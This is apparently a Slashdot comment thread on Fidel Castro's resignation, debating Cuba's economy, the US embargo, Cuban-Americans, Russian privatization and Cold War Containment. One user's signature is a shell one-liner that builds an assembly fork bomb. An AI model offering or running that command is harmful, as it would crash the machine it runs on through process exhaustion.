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Fidel Castro Resigns
Smordnys s'regrepsA writes "Fidel Castro, the leader of the island nation of Cuba has declined the possibility of keeping his seat as President, after the February 24th National Assembly election. "I neither will aspire to nor will I accept — I repeat — I neither will aspire to nor will I accept, the position of president of the council of state and commander in chief," Castro wrote almost 19 months after a severe illness caused him to hand power temporarily to his brother Raul."
If you go now you will still be mostly confined to the "staged" Cuba, the Cuba presented to foreigners where the government needs to keep up appearances. If you want to see the real Cuba your going to either have to take risks or wait till the government collapses.
Castro and his ilk did far more damage to Cuba than any corporate entity could manage, let alone get away with. His country started falling apart once it was no longer propped up by the Soviets. He is a study in the strength of personality and use of tactics similar to East Germany to maintain power
* Winners compare their achievements to their goals, losers compare theirs to that of others.
Does this mean the expat's in Miami will finally shut up and I can visit Havana soon (legally).
The Miami crowd has too much to lose to allow that to happen. And they have enough political influence to prevent someone from dismissing them any time soon, despite a willingness by the American public to adopt a new perspective, keen interest by big business, and numerous attempts over the years by legislators and other interested parties who consider the current policy a long and drawn out failure to change the situation.
Besides, who in Cuba do you think is, or is going to be, running things?
On a side note, the term "expats" (no "s" needed, thankyou) I would reserve for someone like the English hanging out in the bars of Santa Monica, CA, watching football and drinking Guiness. The Miami crowd, on the other hand, will carry their memories, resentments and feelings forward for generations to come. Think of the Kurds in Iraq, the Palestinians in Israel, and both the Albanians and Serbs in Kosovo, among countless other examples, and you'll get the idea.
Tourists, cigar afficionados and late 50's model car enthusiasts will have to wait.
For all his faults, in some ways Castro valued human life more than you'd expect from all the propaganda in the U.S. about "communism." He kept his people from starving in the 1990's after the collapse of the Soviet Union cut off a lot of Cuba's oil supply (unlike North Korea's Kim, who clearly doesn't give a crap about the starving people under his heel); at least Cubans don't have to eat dirt, literally, like their neighbors on Haiti. He's kept up a basic healthcare system and invested his country's meager resources into finding treatments for tropical poor people's diseases ignored by Western pharmaceutical companies. He had moved his country's population out of harm's way when the inevitable hurricanes rake across the island. And he even offered to send medical help to the U.S. for Hurricane Katrina's victims. So in some nontrivial respects he wasn't a totally bad guy.
I do not defend Castro's dictatorship, but for many he seems to have been a 'benevolent' dictator. This is something of an oxymoron, so what I mean is this: For many working class Cubans, Castro's government has established a strong safety net and an egalitarian society. There is no question that Castro was also ruthless in dealing with political adversaries and I would not have liked to live in such a closed society. But like any other government, his was neither purely good nor purely evil. What did he do well and what did he do poorly? He did work hard to address the needs of 'his' people. A controlled economy with a strong safety net does result in an economy with a lower average income, but how strongly does is affect the median income? Is it better to be an average Cuban or an average Mexican? Both seem to be willing to take great risks to get out. GDP per capita, the standard measure of a nation's economy, doesn't address income distribution: The average income of Bill Gates and 9 Slashdotters is simply 10% of Bill Gates income + round off error. I would like to see economic analysis of developing nations that is measured by percent of population living below a locally adjusted poverty line. Does anyone know of such a study?
Think global, act loco
When have you been in Cuba? I was there in the middle '90s (the periodo especial, when the economy was at its worst), and found out that most scaremongering about Cuba was just that—scaremongering. The news blabbered about continuous power outages, with electricity being available only a few hours a day. Funny enough, Havana's lights were on all night long (not just our hotel, the whole city).
Never seen this kind of military presence. The only military I saw were at Matanzas airport (duh, fair enough), and three grunts (including one gruntess) marching on a country road that we drove by.
Funny, I saw no particularly crumbling buildings to speak of. No beggars either. People in Havana and elsewhere we travelled (from Pinár del Rio to Santa Clara) looked like they were not rich, but lived with dignity. Then again, a certain American subculture may consider any historically significant building as "crumbling"...
Well, I for one did not receive any such warning. In fact we could go around freely. My father saw a street concert improvised by some locals in Havana, where the police intervened—lo and behold—to pick up broken bottles of beer so people would not hurt themselves.
Have you truly been there, to pass that kind of judgements?
The Bloqueo is America's version of the Berlin Wall. They tell you that it's against the enemy, while in fact what its ideators conceived it as a cultural divide, so idea would spread from Cuba to the mainland. Guess what would happen if someone made a movie about 9/11 rescue workers who cannot afford medical care in the US and get cured in the free-for-all Cuban system...
Sure, Cuba has its share of problems: corruption, impediments to free speech, same leadership for too much time. However, looking at how these problems were tackled in the countries recently "liberated" by the US, I doubt the Cubans will be any better off with a US-sponsored regime change.
Victims of 9/11: <3000. Traffic in the US: >30,000/y
Allow for tourism and trade, let the economic ramifications encourage a change of policy.
(ie: people enjoying $$$ influx, will demand that it continues)
MOD THE CHILD UP!
I'm pretty sure the Germans were against those actions, whereas the Cubans are largely happy with the way their country works.
Sure, the dual economy is wrecking them on an international market, but hopefully the increased presence globally will help with that. As a building technologist who has worked in Cuba (Canada and Cuba get along great, I can actually buy Cuban cigars at the Hasty Mart down the street from my house) I can tell you that Cuba is doing the best they can with a bad starting position, and it's really quite pleasant down there. A poor economy != unhappy population.
I like to place meaningful quotes in my sig, so people will know that I know what meaningful quotes are.
I don't recall saying "all", but your pedantry has been noted.
I talked to several, notably skilled engineers, lawyers, and the "poor people" the water treatment plant was going to be supplying water to. Better?
I like to place meaningful quotes in my sig, so people will know that I know what meaningful quotes are.
Effecting lasting vestment by the people is a matter of a functioning ongoing system more so than a matter of initial distribution. You bring up the Russian example. Russia actually had one of the most successful programs ever instituted to privatize their industry by giving it to the people.
Look at section 1.2.2 here and at this article from Reason.
Russia gave every citizen a voucher that could be used in auctions to bid upon state enterprises being privatized. There was a free market in these vouchers. Any group of people could band together to pool their vouchers to buy their portion of previously state-run industry and own it privately. Or they could sell their vouchers and get significant real value for them, and use that for whatever they needed it for. Either way, everyone got their share. The division of state run enterprises went very well for a while. Sure, too many enterprises were dolled out directly to the powerful and connected and bypassed the voucher auctions, but otherwise, it was a pretty good system.
The reason it didn't end up working was due to a lack of rule of law and to corruption, not a failure to give the property to the Russian population. Many foreign investors flocked to Russia to capitalize on their underpaid but highly educated population. Many people used their voucher money to start their own small businesses. Groups of people who pooled their vouchers tried to run the industries they bought.
But people in power took it all away; from the foreign investors, and from the local Russian population. If you wanted to get your raw materials imported, or keep your electricity on, or get work permits, or pass inspections, or have access to markets- it all required too many bribes to stay in business. In some instances, people with guns just came in and took everything. You can't have functioning capitalism if you don't have free competition, but instead have thugs come and take the profits from anyone who's successful.
A fair initial distribution of property in the privatization process is important, but as Russia has shown us, it is far from sufficient to ensure any kind of equality or lasting vestment for the people. The most important thing for giving people a fair shot is to weed out the corruption and follow rule of law.
You can hire any reputable consulting firm to have a bunch of economists and MBA's draw up a relatively efficient and equitable market based allocation program for privatizing state resources to the people. Unfortunately, it is much harder to take a system riddled with endemic corruption and full of powerful people used to ruling like czars and transform that into a system dominated by honesty and law. There is no easy prescription for this transformation; weeding out corruption is riddled with tricky political, psychological, social, and economic dilemmas to which there is no straight-forward solution.
Can anyone tell me how to set my sig on Slashdot?
The US did the same thing to China when Mao attempted to make overtures. Instead of admitting that Chang Kai-shek's Kuomintang had been routed and turned into a Formosan rump, and dealing with the guys that actually controlled China, the US cemented this bizarre Nationalist China theory for three decades, forcing China to turn to the USSR (not that that turned out all that great for the Soviets in the end) and leading to three decades of isolation.
As bad as Communism was, and as necessary as I think Containment was, the US was never sophisticated enough to realize that it wasn't fighting an ideology, it was fighting an expansionist imperial power. They bought into the Leninist-Marxist line just as much as the Russians did, and didn't recognize the historical trends that had been taking place ever since the Muscovite princes had cast of the Tatars and had began building a Eurasian empire. Just because the top bananas that replaced the Romanovs liked to spout nonsensical political theory didn't fundamentally mean that their goals were one iota different.
That's the problem with the US. I think it suffers from a case of pathological idealism. Because it was founded on high ideals, it tends to assume that its enemies and allies must be of a similar vein, that somehow revolution always represents some vast dividing line between past, present and future. In reality, the Russian and Chinese revolutions (the latter of which was really a century-long conflict to boot out the Great Powers) made huge changes, but ultimately created new governments that in many ways simply modeled themselves on old ones.
In Russia, the leadership moved into the Kremlin, the gentry were replaced by Communist party members, and Peter the Great's revolution to modernize and industrialized Russia continued, every bit as recklessly as it ever had been. In China, Mao took on the airs of the emperors of old, behaving in many ways like them, isolating himself and creating a god-like aura that invoked, without coming out and saying it, the Mandate of Heaven. In fact, after Mao's authority began slipping, and ever since then, the old court ideals of Confucianism have been reborn as the new generation of leaders attempts to combat the age-old Chinese problem of a corrupt bureaucracy.
Communism is simply a state religion. Every once in a while, someone like Mao or Lenin will come along and actually take them seriously, but for the most part it's simply a ritual, a sort of cross in the sky that the faithful are supposed to follow, while in reality it's just the same old empire-building and power centralization that has dominated human affairs since we settled down to form civilizations. If the US had understood this during the Cold War, it would have been much more likely to co-operate with Communist China and Cuba, recognizing that guys like Mao and Castro were just the same-ol' with a different jive talk. Imagine the world today if Latin America and China, who had long had respect for the United States and its earlier, more neutral position, had been embraced, regardless of the political stripes of their leadership. Imagine if Mao and Castro hadn't had to fling themselves at the Soviets, or a Latin America where there weren't tragedies like Chile? The short-sighted and mistaken goals of Containment continue to haunt the US to this day.
The world's burning. Moped Jesus spotted on I50. Details at 11.
Don't lump Cubans with being the same as the rest of the Hispanic population. Anyone who has taken Latin American History, would know that Cuban-Americans are different.
In Cuba, they're typically better educated and most, if not all, Latin American countries. Cuba also has a higher literacy rate than even the United States. There are plenty of good doctors that come from Cuba. As you already mentioned, Florida is full of Cuban politicians and lawyers. There are plenty of Cuban actors (Andy Garcia, Cameron Diaz, and more), singers (Gloria Estefan, Celia Cruz, and more), song writers (Emilio Estefan, and more) here in the U.S. as well, which makes them well represented.
Like you mentioned, unlike most the Hispanic population Cuban-Americans typically vote Republican. Why? Maybe because we're generally more conservative? Maybe because many Cuban-Americans are businessmen? Maybe it's because Republicans have done more for Cuban-Americans than Democrats? Cubans are pretty vocal and you can almost say fanatical about politics. You can almost say that the Cuban community is even tighter than most Hispanic communities. Maybe that is because there's so few of them here. Cuban-Americans are actually a very small population when compared to other Hispanic communities (i.e. Mexican-Americans).
Anyway, for all we know this whole resignation thing is probably because Castro is already dead and has been dead for a while. Who knows. No one has seen him in public in quite some time.
I can quite believe that Mao and Lenin resembled the Tsars and Emperors they replaced and that Communism was a state religion.
But that doesn't mean that the US should treat them in the same way. New religions intolerant religions like Communism have a need to spread. And Communism was a much worse system than the ones it replaced. E.g. Russia before the revolution had secret police and prison camps, this is true. But after the revolution the death rate due to political violence rose astronomically. Someone worked out that the Tsar killed a few hundred people for political crimes. But the Russian communists killed many millions. And the old regimes in Russia and China were not expansionist in the sense that they wanted to spread their system around the world. E.g. Russian communism came very close to engulfing all of the US's allies in Western Europe as well as Eastern Europe. Communism in Asia actually managed it. The whole world could quite easily have ended up resembling Orwell's 1984. This is something which US foreign policy, like its UK counterpart absolutely cannot let happen because of the danger of being completely surrounded by countries which are essentially hostile slave states.
The old state religions in China and Russia were also not monotheistic - they each tolerated Buddhism and Christianity (and Islam in places) in their empires. Lastly, both of them had started to liberalise. If the Communists hadn't hijacked the process, it's quite possible that they would have ended up as something much more liberal.
So whilst it's true to say that their is a degree of continuity the post revolutionary powers were a lot more threatening than the pre revolutionary ones. And it seems like US foreign policy should be about strangling new murderous monotheisms if possible, not accepting them as a permanent fixture.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
My point isn't that Containment was in and of itself a bad policy, but rather that it was an unnuanced policy. Its application was oversimplified; dividing the world into the infamous three; the First, Second and Third Worlds. From a strategic point of view it was a blunder. China was not naturally the USSR's ally. Yes, Stalin had ingratiated himself in a big way with the Communists in the 1930s, but Mao was no more interested in China being a Soviet satellite than he wanted it to be a Western satellite. He did reach out to the US after the defeat of the Nationalists, mainly because he was a bright enough guy to know that he didn't want any enemies. The US, in a growing anti-Communist paranoia, backed the Nationalists instead, despite the fact that the Nationalists had completely lost the mainland and were doing nothing more than playing at being the government of China.
I don't think China and the US would ever have been fast friends. China was too bruised by a century of domination by foreign powers (including the US) for that. But the US completely fucked it up by rejecting Mao and hanging their socks on a washed up tyrant; Chang Kai-shek and his utterly routed Nationalists. It forced Mao completely into the Soviet sphere (though that lasted a little over a decade), because Mao needed someone's help.
The fact is that Chinese Communism was not the same as Stalinism, though in the 1950s, with the disasterous Great Leap Forward, it certainly became much worse. Maybe the US could have done nothing about that even if it had built ties with Mao, but by essentially treating the PRC as some sort of alien inhabiting government, it lost all capability. It also violated one of the key notions of international diplomacy, that one must remain pragmatic in all things. It was a reality-defying leap of stupidity that only made sense within the context of domestic US politics at the time. It certainly made no sense within the contexts of diplomacy, international relations, international law and within the long-term interests of the US in the Far East, and ultimately the world. Nixon's normalization, while the right thing to do, has put the US in an even trickier situation as per Taiwan, which it treats as a defacto state, while all the while trying to play it with the PRC. If the US had simply admitted that Chang Kai-shek was a spent force and recognized Mao, this awkard position could have been avoided.
As to Cuba, rejecting Castro is only a lesser blunder because Cuba is a smaller and less important nation. Still, once again, the Red Fever created a situation in which reality was denied and a Communist government was forced into bed with the Soviets.
The world's burning. Moped Jesus spotted on I50. Details at 11.